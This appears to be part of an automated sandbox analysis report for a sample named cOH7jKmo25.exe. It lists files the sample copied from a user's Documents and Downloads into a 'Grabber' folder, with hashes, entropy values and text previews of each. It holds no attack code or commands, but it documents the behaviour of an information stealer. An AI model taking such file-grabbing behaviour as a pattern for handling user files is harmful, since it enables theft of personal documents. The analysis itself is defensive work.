Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD\XZXHAVGRAG.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZSSZYEFYMU.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698801429970146
Encrypted:	false
SSDEEP:	24:qYZf7NYgK11E+8TKka0vEdKPG8TQZjtLMiMl+gc:Zk1k3a0Ma18Z4A
MD5:	488BC4EF686937916ECE6285266A6075
SHA1:	498BA8EBDA3DABD222532DB0C0D6262B0C5A7E08
SHA-256:	8DEB161A95E22B50B1BD88EDBBB4312003788B8A6B35D22AEC02CC200FF34C17
SHA-512:	1B7AC223F6277A74893597499F79D674E0798699081B0B2602123B9118E3F68815A951F787E71E5C35589E5AACF987E9C8F669FF9A9F6E94209F15DADEFF40A3
Malicious:	false
Preview:	ZSSZYEFYMUQEKZVPQBMSGZPGFJSTPVKSKKYYOJJIVKJRXMBDCMKBNSXEZOYYLLCVGBCQCKVUSXHLTTLRBHPCNSEMRROKBXFGQJZTBAVNRJJQBKWQYWINUTDWXUKTWQTLFVKQJLRXVFMCOZRZYQJKBITZONPSKVFYGVFRXBDOVYHVEMAQOEYMKHGFIUSMUZFLKRKBNYFQULYASQJWIMXTPKLTXNGJEWMVSDMVYEHMDPUBWHXLMDGALITFYOPNEIQSZIFTQVUSLRLYPKRTXNKPZMOTSFMCTTCARDYTVYJNZYBYCYFEMWWKCHMOTEZUTCREBZPMVCXBYPYANERMGIWQGRLDPRJEURITRIHETMYHEDRHVZWCMDHNFFZGLKKJQGCRIABTVOOSCMRDMCYBMDQOGHUUZIQUDIGWJEDYSILALQBOBHJCJXMYCXWMKWTAZTAUZGCOOYTBWHVSAMUGEMKVHNGWYROVAEWXIOJKNUUAHUZJKSBJBZHYPRMGXULRNKCEDZBZFSCLCLARQDJMLPUKDSUWUIZMUDIKRKQZKQOXAYQYQTWHEIQXYYRXUJUIJQHETOHAPWXNCXFRKNXDPMNGFVZLBDFQUQRTHWUPUFFOEETFIAMWILGGLMPNTNBWFAVUGTBECKTLKLZQTWDYQGKSATWYWCKMJUIBSPWHFOXTNCPNZROSZPOSCRTUVGPSNZPJGXCOSDTDGNOFJGXANNYNPDRWRWHRMJKJZLEGOXMOOUXTCHTTXGYUQDVKJZMOUPMXIJCGGEIUPFMUDPJPVMINFDESCQIALHEUSISIOWESWYRPEKDPMSSUALHIWLZBLYGOHEFVJWNLRWWTIYJVKFFZJKDTZXWMWMLHMPMCDJASZUPRTYGWPHHTFMTSSQIBOUWXAGDKQACWGATARXNPCMQFCVREPARZFKWLUWYDUSCBVSUXEQBCXPUESWMVITZYZKPVGHRQVMKQXDEITVASTNPYLAQHWTYQQEBOGBVRUVAJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\AFWAAFRXKO.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\AFWAAFRXKO.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\AIXACVYBSB.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\FACWLRWHGG.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Downloads\FACWLRWHGG.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYF